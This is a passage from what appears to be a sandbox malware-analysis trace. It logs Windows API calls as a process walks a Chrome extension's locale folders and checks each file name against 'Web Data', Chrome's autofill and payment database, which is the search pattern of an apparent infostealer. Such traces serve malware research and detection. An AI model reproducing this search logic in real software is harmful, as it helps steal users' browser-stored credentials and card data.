Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.416] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.416] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.416] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.416] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.416] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.416] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.416] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.416] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.416] LocalFree (hMem=0x2e0100) returned 0x0 [0056.417] LocalFree (hMem=0x2e0210) returned 0x0 [0056.417] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.417] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.417] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.417] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.417] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.417] lstrlenA (lpString="\\") returned 1 [0056.417] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.417] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.417] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.417] lstrlenA (lpString="tr") returned 2 [0056.417] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.417] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr" [0056.417] LocalFree (hMem=0x2e0100) returned 0x0 [0056.417] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned 131 [0056.417] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned 131 [0056.417] lstrlenA (lpString="\\*.*") returned 4 [0056.417] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.417] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr" [0056.417] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*.*" [0056.417] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.417] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.417] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.417] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.418] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.418] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.418] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.418] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.418] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.418] LocalFree (hMem=0x2e0100) returned 0x0 [0056.418] LocalFree (hMem=0x2e0210) returned 0x0 [0056.418] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.418] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.418] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.418] lstrlenA (lpString="\\") returned 1 [0056.418] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.418] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.418] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.418] lstrlenA (lpString="uk") returned 2 [0056.418] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.418] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.418] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk" [0056.418] LocalFree (hMem=0x2e0100) returned 0x0 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned 131 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned 131 [0056.418] lstrlenA (lpString="\\*.*") returned 4 [0056.418] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.418] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk" [0056.418] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*.*" [0056.418] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.418] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.418] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.418] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.418] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.418] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.418] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.418] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.418] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.418] LocalFree (hMem=0x2e0100) returned 0x0 [0056.418] LocalFree (hMem=0x2e0210) returned 0x0 [0056.418] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.418] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.418] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.418] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.419] lstrlenA (lpString="\\") returned 1 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.419] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.419] lstrlenA (lpString="vi") returned 2 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.419] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi" [0056.419] LocalFree (hMem=0x2e0100) returned 0x0 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned 131 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned 131 [0056.419] lstrlenA (lpString="\\*.*") returned 4 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.419] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*.*" [0056.419] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.419] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.419] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.419] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.419] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.419] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.419] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.419] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.419] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.419] LocalFree (hMem=0x2e0100) returned 0x0 [0056.419] LocalFree (hMem=0x2e0210) returned 0x0 [0056.419] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.419] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.419] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.419] lstrlenA (lpString="\\") returned 1 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.419] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.419] lstrlenA (lpString="zh_CN") returned 5 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.419] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN" [0056.419] LocalFree (hMem=0x2e0100) returned 0x0 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned 134 [0056.419] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned 134 [0056.419] lstrlenA (lpString="\\*.*") returned 4 [0056.419] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.419] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN" [0056.419] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*.*" [0056.420] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.420] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.420] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.420] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.420] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.420] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.420] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.420] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.420] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.421] LocalFree (hMem=0x2e0320) returned 0x0 [0056.421] LocalFree (hMem=0x2e0210) returned 0x0 [0056.421] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.421] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.421] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.421] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 